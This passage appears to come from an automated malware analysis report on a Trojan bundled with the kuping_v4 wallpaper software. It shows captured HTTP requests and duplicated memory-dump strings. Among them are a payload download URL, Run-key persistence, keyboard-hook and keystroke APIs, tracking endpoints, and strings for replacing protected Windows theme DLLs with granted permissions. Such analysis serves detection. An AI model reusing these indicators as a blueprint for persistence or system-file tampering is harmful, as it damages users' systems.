/0809kt.jpg</img1><img2>hXXp://img.wallba.com/Public/caiji
ansuoluetu/2013nian/8yue/0808fj.jpg</img2><img3>hXXp://img
.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpeg</img3&
gt;<img4>hXXp://img.wallba.com/Public/caijiansuoluetu/2013nian/8
yue/0801.jpg</img4><img5>hXXp://img.wallba.com/Public/caij
iansuoluetu/2013nian/8yue/0801.jpg</img5><img6>hXXp://img.
wallba.com/Public/caijiansuoluetu/2013nian/8yue/0801.jpg</img6>&
lt;imginfo>4.3.0.5</imginfo></AnImg></think>..


GET /Public/Configs/KpStartupControl/53390.xml HTTP/1.1
Host: config.wallba.com 
Accept: 
Referer:  hXXp://VVV.wallba.com/
User-Agent: Mozilla/4.0         (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Range: bytes=0- 


HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 09 Jun 2014 21:38:09 GMT
Content-Type: text/html
Content-Length: 1
Connection: keep-alive
ETag: "5088e841-1"
...


The Trojan connects to the servers at the folowing location(s):

Map

Strings from Dumps

%original file name%.exe_1196:

`.rsrc

`.rsrc

w.ALT

w.ALT

t%SVh

t%SVh

t$(SSh

t$(SSh

~%UVW

~%UVW

u$SShe

u$SShe

kernel32.dll

kernel32.dll

wininet.dll

wininet.dll

GetWindowsDirectoryA

GetWindowsDirectoryA

HttpOpenRequestA

HttpOpenRequestA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

taskmgr.exe

taskmgr.exe

%Program Files%

%Program Files%

http://down.21195.com/jm.txt

http://down.21195.com/jm.txt

%Program Files%\

%Program Files%\

http://

http://

surl : '

surl : '

shorturl=

shorturl=

downloadurl

downloadurl

http:\/\/

http:\/\/

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

http=

http=

https

https

HTTP/1.1

HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

HTTP/1.1

HTTP/1.1

https://

https://

9(99:;;<==>

9(99:;;<==>

/012345678

/012345678

%*.*f

%*.*f

CNotSupportedException

CNotSupportedException

commctrl_DragListMsg

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

Afx:%x:%x

COMCTL32.DLL

COMCTL32.DLL

CCmdTarget

CCmdTarget

__MSVCRT_HEAP_SELECT

__MSVCRT_HEAP_SELECT

user32.dll

user32.dll

.PAVCException@@

.PAVCException@@

.PAVCNotSupportedException@@

.PAVCNotSupportedException@@

.PAVCFileException@@

.PAVCFileException@@

(*.prn)|*.prn|

(*.prn)|*.prn|

(*.*)|*.*||

(*.*)|*.*||

Shell32.dll

Shell32.dll

Mpr.dll

Mpr.dll

Advapi32.dll

Advapi32.dll

User32.dll

User32.dll

Gdi32.dll

Gdi32.dll

Kernel32.dll

Kernel32.dll

(&07-034/)7 '

(&07-034/)7 '

?? / %d]

?? / %d]

%d / %d]

%d / %d]

: %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.txt)|*.txt|

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|BMP

(*.JPG)|*.JPG|BMP

(*.BMP)|*.BMP|GIF

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

(*.CUR)|*.CUR|

%s:%d

%s:%d

windows

windows

out.prn

out.prn

%d.%d

%d.%d

%d / %d

%d / %d

%d/%d

%d/%d

Bogus message code %d

Bogus message code %d

(%d-%d):

(%d-%d):

%ld%c

%ld%c

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

HTTP/1.0

HTTP/1.0

%s <%s>

%s <%s>

Reply-To: %s

Reply-To: %s

From: %s

From: %s

To: %s

To: %s

Subject: %s

Subject: %s

Date: %s

Date: %s

Cc: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

%a, %d %b %Y %H:%M:%S

SMTP

SMTP

.PAVCObject@@

.PAVCObject@@

.PAVCSimpleException@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCResourceException@@

.PAVCUserException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

.PAVCArchiveException@@

zcÁ

zcÁ

c:\%original file name%.exe

c:\%original file name%.exe

WinExec

WinExec

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

RegCreateKeyExA

RegCreateKeyExA

GetViewportOrgEx

GetViewportOrgEx

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

GetViewportExtEx

ShellExecuteA

ShellExecuteA

GetKeyState

GetKeyState

CreateDialogIndirectParamA

CreateDialogIndirectParamA

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

InternetCrackUrlA

InternetCrackUrlA

.text

.text

.rdata

.rdata

@.data

@.data

.rsrc

.rsrc

<.rd:

<.rd:

#include "l.chs\afxres.rc" // Standard components

#include "l.chs\afxres.rc" // Standard components

KERNEL32.DLL

KERNEL32.DLL

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

comdlg32.dll

comdlg32.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

RASAPI32.dll

RASAPI32.dll

SHELL32.dll

SHELL32.dll

USER32.dll

USER32.dll

WININET.dll

WININET.dll

WINMM.dll

WINMM.dll

WINSPOOL.DRV

WINSPOOL.DRV

WS2_32.dll

WS2_32.dll

(*.*)

(*.*)

%original file name%.exe_1196_rwx_00401000_000BB000:

t%SVh

t%SVh

t$(SSh

t$(SSh

~%UVW

~%UVW

u$SShe

u$SShe

kernel32.dll

kernel32.dll

wininet.dll

wininet.dll

GetWindowsDirectoryA

GetWindowsDirectoryA

HttpOpenRequestA

HttpOpenRequestA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

taskmgr.exe

taskmgr.exe

%Program Files%

%Program Files%

http://down.21195.com/jm.txt

http://down.21195.com/jm.txt

%Program Files%\

%Program Files%\

http://

http://

surl : '

surl : '

shorturl=

shorturl=

downloadurl

downloadurl

http:\/\/

http:\/\/

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

http=

http=

https

https

HTTP/1.1

HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

HTTP/1.1

HTTP/1.1

https://

https://

9(99:;;<==>

9(99:;;<==>

/012345678

/012345678

%*.*f

%*.*f

CNotSupportedException

CNotSupportedException

commctrl_DragListMsg

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

Afx:%x:%x

COMCTL32.DLL

COMCTL32.DLL

CCmdTarget

CCmdTarget

__MSVCRT_HEAP_SELECT

__MSVCRT_HEAP_SELECT

user32.dll

user32.dll

.PAVCException@@

.PAVCException@@

.PAVCNotSupportedException@@

.PAVCNotSupportedException@@

.PAVCFileException@@

.PAVCFileException@@

(*.prn)|*.prn|

(*.prn)|*.prn|

(*.*)|*.*||

(*.*)|*.*||

Shell32.dll

Shell32.dll

Mpr.dll

Mpr.dll

Advapi32.dll

Advapi32.dll

User32.dll

User32.dll

Gdi32.dll

Gdi32.dll

Kernel32.dll

Kernel32.dll

(&07-034/)7 '

(&07-034/)7 '

?? / %d]

?? / %d]

%d / %d]

%d / %d]

: %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.txt)|*.txt|

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|BMP

(*.JPG)|*.JPG|BMP

(*.BMP)|*.BMP|GIF

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

(*.CUR)|*.CUR|

%s:%d

%s:%d

windows

windows

out.prn

out.prn

%d.%d

%d.%d

%d / %d

%d / %d

%d/%d

%d/%d

Bogus message code %d

Bogus message code %d

(%d-%d):

(%d-%d):

%ld%c

%ld%c

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

HTTP/1.0

HTTP/1.0

%s <%s>

%s <%s>

Reply-To: %s

Reply-To: %s

From: %s

From: %s

To: %s

To: %s

Subject: %s

Subject: %s

Date: %s

Date: %s

Cc: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

%a, %d %b %Y %H:%M:%S

SMTP

SMTP

.PAVCObject@@

.PAVCObject@@

.PAVCSimpleException@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCResourceException@@

.PAVCUserException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

.PAVCArchiveException@@

zcÁ

zcÁ

c:\%original file name%.exe

c:\%original file name%.exe

WinExec

WinExec

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

RegCreateKeyExA

RegCreateKeyExA

GetViewportOrgEx

GetViewportOrgEx

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportExtEx

GetViewportExtEx

ShellExecuteA

ShellExecuteA

GetKeyState

GetKeyState

CreateDialogIndirectParamA

CreateDialogIndirectParamA

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

InternetCrackUrlA

InternetCrackUrlA

.text

.text

.rdata

.rdata

@.data

@.data

.rsrc

.rsrc

kuping_v4.exe_600:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

F SShz

F SShz

N SShx

N SShx

tS9.tF

tS9.tF

MFC42.DLL

MFC42.DLL

MSVCRT.dll

MSVCRT.dll

_acmdln

_acmdln

WinExec

WinExec

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

GetKeyState

GetKeyState

GetAsyncKeyState

GetAsyncKeyState

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

RegCloseKey

RegCloseKey

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyA

RegOpenKeyA

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyA

RegCreateKeyA

RegQueryInfoKeyA

RegQueryInfoKeyA

RegFlushKey

RegFlushKey

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteA

ShellExecuteA

ShellExecuteExA

ShellExecuteExA

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

GdipSetImageAttributesColorKeys

GdipSetImageAttributesColorKeys

gdiplus.dll

gdiplus.dll

MSVCP60.dll

MSVCP60.dll

IMAGEHLP.dll

IMAGEHLP.dll

WS2_32.dll

WS2_32.dll

?PreTranslateMessage@CSkinCenterDlg@@UAEHPAUtagMSG@@@Z

?PreTranslateMessage@CSkinCenterDlg@@UAEHPAUtagMSG@@@Z

?GetMessageMap@CSkinCenterDlg@@MBEPBUAFX_MSGMAP@@XZ

?GetMessageMap@CSkinCenterDlg@@MBEPBUAFX_MSGMAP@@XZ

SkinCenter.dll

SkinCenter.dll

unrar.dll

unrar.dll

NETAPI32.dll

NETAPI32.dll

PSAPI.DLL

PSAPI.DLL

VERSION.dll

VERSION.dll

MSIMG32.dll

MSIMG32.dll

SetWindowsHookExA

SetWindowsHookExA

UnhookWindowsHookEx

UnhookWindowsHookEx

COMCTL32.dll

COMCTL32.dll

kuping_v4.exe

kuping_v4.exe

4.3.1.1

4.3.1.1

version.ini

version.ini

QueryInterface failed! ctrl: %d

QueryInterface failed! ctrl: %d

Can't find the ctrl: %d

Can't find the ctrl: %d

\AboutDlgConfig\MainDlg.ini

\AboutDlgConfig\MainDlg.ini

skinconfig.ini

skinconfig.ini

http://www.wallba.com

http://www.wallba.com

\AppDlgConfig\MainDlgSkin.ini

\AppDlgConfig\MainDlgSkin.ini

Appsoftconfig\button.xml

Appsoftconfig\button.xml

Appsoftconfig\image\soft.xml

Appsoftconfig\image\soft.xml

http://config.wallba.com/Public/Configs/AppSoftconf.xml

http://config.wallba.com/Public/Configs/AppSoftconf.xml

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

WallPlayer.exe

WallPlayer.exe

Appsoftconfig\softtempfile\soft.xml

Appsoftconfig\softtempfile\soft.xml

%System32%

%System32%

wallplay\config\List_imge_theme_config\image.xml

wallplay\config\List_imge_theme_config\image.xml

wallplay\config\WallPlayerConfig\WallPlayImage.xml

wallplay\config\WallPlayerConfig\WallPlayImage.xml

Location: %s

Location: %s

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0

HTTP/1.1

HTTP/1.1

http://

http://

kernel32.dll

kernel32.dll

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

X-X-X-X-X-X

X-X-X-X-X-X

%s\*.*

%s\*.*

Microsoft Windows 95

Microsoft Windows 95

Microsoft Windows NT 4.0

Microsoft Windows NT 4.0

Microsoft Windows 98

Microsoft Windows 98

Microsoft Windows Me

Microsoft Windows Me

Microsoft Windows 2000

Microsoft Windows 2000

Microsoft Windows XP

Microsoft Windows XP

Microsoft Windows Server 2003 R2

Microsoft Windows Server 2003 R2

Microsoft Windows Server 2003

Microsoft Windows Server 2003

Microsoft Windows XP Professional x64 Edition

Microsoft Windows XP Professional x64 Edition

Microsoft Windows Server 2008

Microsoft Windows Server 2008

Microsoft Windows Vista

Microsoft Windows Vista

Microsoft Windows Server 2008 R2

Microsoft Windows Server 2008 R2

Microsoft Windows 7

Microsoft Windows 7

ImportExitOrderToUBS

ImportExitOrderToUBS

ImportUserBehaviorToUBS

ImportUserBehaviorToUBS

ImportSoftInformationToUBS

ImportSoftInformationToUBS

UserBehaviorStatistics.dll

UserBehaviorStatistics.dll

temp.jpg

temp.jpg

\DownloadWebImageDlg\MainSkin.ini

\DownloadWebImageDlg\MainSkin.ini

%d%d%d%d%d

%d%d%d%d%d

241870897

241870897

TempDownLoad\FeedBack\qqNum.xml

TempDownLoad\FeedBack\qqNum.xml

\FeedbackDlgConfig\MainFeedbackDlg.ini

\FeedbackDlgConfig\MainFeedbackDlg.ini

set.png

set.png

focus.png

focus.png

http://config.wallba.com/Public/Configs/user_info.xml

http://config.wallba.com/Public/Configs/user_info.xml

.kpscr

.kpscr

.kplgui

.kplgui

.kpicon

.kpicon

.kpcur

.kpcur

.kprar

.kprar

.kptheme

.kptheme

%s %%1

%s %%1

%s\Shell\Open\Command

%s\Shell\Open\Command

%s\Shell

%s\Shell

%s\DefaultIcon

%s\DefaultIcon

%s\kuping_v4.exe,%d

%s\kuping_v4.exe,%d

%s\KpInstallTheme.exe

%s\KpInstallTheme.exe

softset.ini

softset.ini

http://int.dpool.sina.com.cn/iplookup/iplookup.php

http://int.dpool.sina.com.cn/iplookup/iplookup.php

TempDownLoad\UserLive\UserLive.ini

TempDownLoad\UserLive\UserLive.ini

TempDownLoad\TagInfo\TagVersion.ini

TempDownLoad\TagInfo\TagVersion.ini

skinConfig\skinversion.ini

skinConfig\skinversion.ini

TempDownLoad\SearchBuff.ini

TempDownLoad\SearchBuff.ini

Appsoftconfig\APPversion.ini

Appsoftconfig\APPversion.ini

TempDownLoad\Home\Homeversion.ini

TempDownLoad\Home\Homeversion.ini

http://config.wallba.com/Public/Configs/Functon_version.xml

http://config.wallba.com/Public/Configs/Functon_version.xml

TempDownLoad\UserLive\version.ini

TempDownLoad\UserLive\version.ini

userlive.xml

userlive.xml

%s%s.xml

%s%s.xml

http://config.wallba.com/Public/Configs/KpLiveControl/

http://config.wallba.com/Public/Configs/KpLiveControl/

TempDownLoad\Home\tempfile\home.xml

TempDownLoad\Home\tempfile\home.xml

http://config.wallba.com/Public/Configs/KpIndexConf.xml

http://config.wallba.com/Public/Configs/KpIndexConf.xml

Appsoftconfig\tempfile\soft.xml

Appsoftconfig\tempfile\soft.xml

skinConfig\tempfile\SkinSetting.xml

skinConfig\tempfile\SkinSetting.xml

http://config.wallba.com/Public/Configs/SkinSetting.xml

http://config.wallba.com/Public/Configs/SkinSetting.xml

TempDownLoad\TagInfo\list_win7.xml

TempDownLoad\TagInfo\list_win7.xml

http://img.wallba.com/Public/Configs/Album/list_win7.xml

http://img.wallba.com/Public/Configs/Album/list_win7.xml

TempDownLoad\TagInfo\list_xp.xml

TempDownLoad\TagInfo\list_xp.xml

http://img.wallba.com/Public/Configs/Album/list_xp.xml

http://img.wallba.com/Public/Configs/Album/list_xp.xml

TempDownLoad\Home\home.xml

TempDownLoad\Home\home.xml

%s\system32\themeui.dll

%s\system32\themeui.dll

%s\system32\uxtheme.dll

%s\system32\uxtheme.dll

crackthemepackwinxp.rar

crackthemepackwinxp.rar

%s\system32

%s\system32

.backup

.backup

%s\system32\dllcache\themeui.dll

%s\system32\dllcache\themeui.dll

%s\system32\dllcache\uxtheme.dll

%s\system32\dllcache\uxtheme.dll

%s\system32\themeservice.dll

%s\system32\themeservice.dll

crackthemepackwin7.rar

crackthemepackwin7.rar

%s /grant administrators:F

%s /grant administrators:F

/f %s

/f %s

crackthemepackwin7x64.rar

crackthemepackwin7x64.rar

Kernel32.dll

Kernel32.dll

urlEx

urlEx

weburl

weburl

\WebContro.ini

\WebContro.ini

login

login

IsShowWindow

IsShowWindow

IndividualCenter.dll

IndividualCenter.dll

loginInfo\head.jpg

loginInfo\head.jpg

http://kuping.wallba.com/web/help.html#win7sj

http://kuping.wallba.com/web/help.html#win7sj

\KPUpdater.dll

\KPUpdater.dll

set_1.png

set_1.png

SepLine.png

SepLine.png

tui-chu.png

tui-chu.png

menu_move.png

menu_move.png

about.png

about.png

feedback_icon.png

feedback_icon.png

help_icon.png

help_icon.png

show.png

show.png

\MenuSetConfig.ini

\MenuSetConfig.ini

update.png

update.png

set_icon.png

set_icon.png

KpInstallTheme.exe

KpInstallTheme.exe

http://www.wallba.com/Help.shtml

http://www.wallba.com/Help.shtml

IsLogin

IsLogin

getnew.exe

getnew.exe

http://tj.153624.com/behavior/

http://tj.153624.com/behavior/

http://tj.153624.com/report/

http://tj.153624.com/report/

TongJICNZZ.dll

TongJICNZZ.dll

update/soft.ini

update/soft.ini

updateupgrade.exe_0

updateupgrade.exe_0

updateupgrade.exe

updateupgrade.exe

SystemConfig\setting.ini

SystemConfig\setting.ini

http://config.wallba.com/Public/Configs/Liveindex.html?id=

http://config.wallba.com/Public/Configs/Liveindex.html?id=

http://img.wallba.com/Public/Configs/index.html?id=

http://img.wallba.com/Public/Configs/index.html?id=

Kpclick.ini

Kpclick.ini

%d,%d,%d,%d,%d,%d

%d,%d,%d,%d,%d,%d

\UpdateUi\UpdateSkin.ini

\UpdateUi\UpdateSkin.ini

\MainSkin.ini

\MainSkin.ini

GetLoginHashValue

GetLoginHashValue

GetLoginUid

GetLoginUid

InitLogin

InitLogin

login.dll

login.dll

LocBootScreen.xml

LocBootScreen.xml

LocIconsfolder.xml

LocIconsfolder.xml

LocScreensaver.xml

LocScreensaver.xml

LocMouseponit.xml

LocMouseponit.xml

LocThemeXml.xml

LocThemeXml.xml

LocWallpaleXml.xml

LocWallpaleXml.xml

StowBootScreen.xml

StowBootScreen.xml

StowIconsfolder.xml

StowIconsfolder.xml

StowScreensaver.xml

StowScreensaver.xml

StowMouseponit.xml

StowMouseponit.xml

stowThemeXml.xml

stowThemeXml.xml

StowWallpaleXml.xml

StowWallpaleXml.xml

wallpaper.bmp

wallpaper.bmp

EXPLORER.EXE

EXPLORER.EXE

UniversalMini.exe

UniversalMini.exe

%skuping_v4.exe start

%skuping_v4.exe start

kuping_v4.exe start

kuping_v4.exe start

\softset.ini

\softset.ini

%sKp_BootClr.exe

%sKp_BootClr.exe

contact=%s:%s&content=%s

contact=%s:%s&content=%s

/index.php?s=/Index/comment_save/

/index.php?s=/Index/comment_save/

kuping.wallba.com

kuping.wallba.com

loginInfo\head_new.jpg

loginInfo\head_new.jpg

head.jpg

head.jpg

loginInfo\

loginInfo\

nick

nick

msg_num

msg_num

/kp_api.php?s=User/getuser&uid=

/kp_api.php?s=User/getuser&uid=

member.wallba.com

member.wallba.com

StartUp.xml

StartUp.xml

http://config.wallba.com/Public/Configs/KpStartupControl/%s.xml

http://config.wallba.com/Public/Configs/KpStartupControl/%s.xml

%system32%

%system32%

TempDownLoad\StartUp\tempfile\StartUp.xml

TempDownLoad\StartUp\tempfile\StartUp.xml

kptest.tmp

kptest.tmp

http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808fj.jpg

http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808fj.jpg

http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0809kt.jpg

http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0809kt.jpg

http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpg

http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpg

http://config.wallba.com/Public/Configs/KpInstall/AnImg.xml

http://config.wallba.com/Public/Configs/KpInstall/AnImg.xml

http://config.153624.com/Public/conf/open/1/%s_%s/10.jpg

http://config.153624.com/Public/conf/open/1/%s_%s/10.jpg

img.wallba.com

img.wallba.com

%d/xp/%d/%d/%d

%d/xp/%d/%d/%d

%d/win7/%d/%d/%d

%d/win7/%d/%d/%d

%d/%d/%d/%d/%d

%d/%d/%d/%d/%d

%d/0/%d/%d/%d

%d/0/%d/%d/%d

%s/%d.xml

%s/%d.xml

%d%d%d%d%d%d%d.xml

%d%d%d%d%d%d%d.xml

thumbnail.xml

thumbnail.xml

TempWallFile\TempThemWall.jpg

TempWallFile\TempThemWall.jpg

kpTailor.exe

kpTailor.exe

%dK/s

%dK/s

/Public/Configs/Album/%d

/Public/Configs/Album/%d

/%d.xml

/%d.xml

KpInstallTheme.exe type=

KpInstallTheme.exe type=

\Web\Wallpaper\Windows\img0.jpg

\Web\Wallpaper\Windows\img0.jpg

Web\Wallpaper\bliss.jpg

Web\Wallpaper\bliss.jpg

\NoticeDlgSkin.ini

\NoticeDlgSkin.ini

skinConfig\skinconfig.ini

skinConfig\skinconfig.ini

.jpeg

.jpeg

KpInstallTheme.exe

KpInstallTheme.exe

\SettingMenuDlgConfig\MainMenuDlgSkin.ini

\SettingMenuDlgConfig\MainMenuDlgSkin.ini

-iexplore.exe

-iexplore.exe

windows 3.1

windows 3.1

windows 95,

windows 95,

windows 98,

windows 98,

windows NT

windows NT

windows 2000

windows 2000

windows xp

windows xp

windows 2003

windows 2003

windows 2008

windows 2008

windows 7

windows 7

windows 8

windows 8

http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7x64.rar

http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7x64.rar

http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7.rar

http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7.rar

http://config.wallba.com/Public/Configs/themecrack/crackthemepackwinxp.rar

http://config.wallba.com/Public/Configs/themecrack/crackthemepackwinxp.rar

\themeui.dll

\themeui.dll

\UpdateUi\SkinCenter.ini

\UpdateUi\SkinCenter.ini

SkinSetting.xml

SkinSetting.xml

\UpdateNoticeDlg.ini

\UpdateNoticeDlg.ini

&key=

&key=

/stat.php?c=download&a=add

/stat.php?c=download&a=add

stat.wallba.com

stat.wallba.com

/stat/statUserAction.php

/stat/statUserAction.php

action.wallba.com

action.wallba.com

Windows 7

Windows 7

Windows Vista

Windows Vista

tongji.zhenlaji.com

tongji.zhenlaji.com

%s %d

%s %d

HTTP/1.0

HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

.PAVCInternetException@@

.PAVCInternetException@@

Range: bytes=%d-%d

Range: bytes=%d-%d

Range: bytes=%d-

Range: bytes=%d-

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)

Referer: %s

Referer: %s

http://www.wallba.com/

http://www.wallba.com/

Host: %s

Host: %s

GET %s HTTP/1.1

GET %s HTTP/1.1

%s_%d

%s_%d

/kp_api.php?s=favorite/addFavorite

/kp_api.php?s=favorite/addFavorite

down_url

down_url

type_%d

type_%d

IEOpenURL

IEOpenURL

SystemExeName

SystemExeName

KeyFilePath

KeyFilePath

KeyPath

KeyPath

0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j

0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j

0628597greek81201258windows-1258

0628597greek81201258windows-1258

1201257windows-12570738598logical

1201257windows-12570738598logical

1201256windows-12560651932euc-jp

1201256windows-12560651932euc-jp

1201255windows-1255

1201255windows-1255

2701143x-ebcdic-finlandsweden-euro1201254windows-1254

2701143x-ebcdic-finlandsweden-euro1201254windows-1254

0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989

0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989

0801250x-cp12501201252windows-1252

0801250x-cp12501201252windows-1252

1201251windows-12511528598iso_8859-8:1988

1201251windows-12511528598iso_8859-8:1988

1201250windows-12502301149x-ebcdic-icelandic-euro

1201250windows-12502301149x-ebcdic-icelandic-euro

1150220iso-2022-jp1100874windows-874

1150220iso-2022-jp1100874windows-874

1901145x-ebcdic-spain-euro1620127iso_646.irv:1991

1901145x-ebcdic-spain-euro1620127iso_646.irv:1991

0551932x-euc1250221_iso-2022-jp1000932csshiftjis

0551932x-euc1250221_iso-2022-jp1000932csshiftjis

http-equiv

http-equiv

<>=\/?!"';

<>=\/?!"';

(%d nulls removed)

(%d nulls removed)

length %d

length %d

to length %d

to length %d

to %d bytes

to %d bytes

from length %d

from length %d

from byte length %d

from byte length %d

%s("%s","%s","%s")

%s("%s","%s","%s")

CWebBrowser2

CWebBrowser2

WebBrowser Create Failed!

WebBrowser Create Failed!

www.baidu.com

www.baidu.com

%d %d

%d %d

btn%d_count

btn%d_count

btn%d_image

btn%d_image

btn%d_chage

btn%d_chage

%d %d %d %d

%d %d %d %d

%d %d %

%d %d %

progressShadow

progressShadow

colorkey

colorkey

isshow

isshow

layer_%d

layer_%d

x=%d,y=%d

x=%d,y=%d

ui/empty.png

ui/empty.png

_DeleteElem(): item=%d, elem=%d, type=%d, nType=%d

_DeleteElem(): item=%d, elem=%d, type=%d, nType=%d

CGuiTree::DeleteItem(): id=%d

CGuiTree::DeleteItem(): id=%d

\themeservice.dll

\themeservice.dll

\uxtheme.dll

\uxtheme.dll

Windows 7 Home

Windows 7 Home

Microsoft Windows Millennium Edition

Microsoft Windows Millennium Edition

Microsoft Windows 98

Microsoft Windows 98

Microsoft Windows 95

Microsoft Windows 95
